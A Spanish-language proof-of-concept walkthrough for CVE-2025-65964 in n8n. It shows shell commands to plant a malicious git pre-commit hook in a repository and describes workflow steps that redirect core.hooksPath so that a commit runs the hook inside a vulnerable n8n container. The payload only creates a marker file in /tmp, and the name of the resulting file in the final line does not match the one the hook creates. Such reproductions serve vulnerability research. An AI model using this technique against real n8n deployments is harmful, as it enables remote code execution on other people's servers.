
Reproducción de CVE-2025-65964
Primero, prepara un repositorio que contenga archivos maliciosos
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <dirección del repositorio>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "Add malicious hook"
git branch -M main
git push -u origin main
Luego, levanta localmente un contenedor Docker de n8n que esté dentro de la versión vulnerable. El alcance de esta vulnerabilidad es muy amplio: 0.123.1 ≤ n8n < 1.119.2 están afectados. Aquí usamos la versión 1.64.3
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
Primero, el flujo de ataque completo para la versión 1.64.3 es el siguiente
Configuración de parámetros como se muestra
Este nodo y el siguiente son necesarios porque Git solo permite Commit cuando los archivos han cambiado, así que primero debemos escribir un archivo cualquiera dentro.
Configuración de parámetros como se muestra
Escribir el archivo en el repositorio
Configuración de parámetros como se muestra
Estos dos nodos son necesarios porque Commit requiere email y username; basta con inventar dos.
Configuración de parámetros como se muestra
Paso clave: apuntar core.hooksPath al directorio malicioso descargado, forzando a Git a buscar en el directorio especificado (por defecto es .git/hooks) al ejecutar hooks.
(Siente que es similar a secuestrar LD_PRELOAD, etc.)
Configuración de parámetros como se muestra
Este paso se usa para desencadenar la vulnerabilidad y ejecutar el hook modificado.
Configuración de parámetros como se muestra
Después de configurar estos nodos, ejecuta el flujo de trabajo
Luego, observa dentro del contenedor Docker y verás que se ha creado el archivo malicioso pwned_without_exec_node